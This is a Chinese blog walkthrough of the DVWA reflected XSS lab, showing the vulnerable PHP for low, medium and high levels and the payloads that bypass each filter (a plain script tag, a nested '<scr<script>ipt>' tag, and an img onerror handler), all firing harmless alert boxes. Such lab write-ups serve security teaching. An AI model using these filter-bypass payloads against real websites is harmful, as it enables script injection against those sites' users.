Error message here!

Hide Error message here!

忘记密码?

Error message here!

请输入正确邮箱

Hide Error message here!

密码丢失?请输入您的电子邮件地址。您将收到一个重设密码链接。

Error message here!

返回登录

Close

DWVA-关于反射型xss的漏洞详解<xss reflected>

千与千寻了个啥 2020-01-14 19:00:00 阅读数:12 评论数:0 点赞数:0 收藏数:0

反射型xss

low级别

代码如下:

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
 // Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
 }

?> 

从上图中可以看出来,对于接收到的输入参数,并未做任何处理,因此直接插入恶意代码

<script>alert('hahaha')</script>

效果如下:

 

 

 

medium级别

代码如下:

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
 // Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
 }

?> 

代码中可以看出,通过str_replace将<script>,替换为空。

这种情况下可以使用拼写<script>的方法,输入如下参数:

<scr<script>ipt>alert('lalala')</script>

输入后前面的<scr<script>ipt>中将<script>替换为空后,有重新组合出一个<script>,达到注入目的。

 

效果如下:

 

 

 

成功注入。

 

high级别

代码如下:

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
 // Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
 }

?> 

high级别代码,使用正则表达式对输入参数进行搜索和替换,有效避免了组合绕过和大小写绕过。

不过既然它仅仅是对于<script>进行过滤,我们可以使用其他表达式进行绕过、

<img src=1 onerror=alert('hahah')>

效果如下:

版权声明
本文为[千与千寻了个啥]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/Hpineapple/p/12193610.html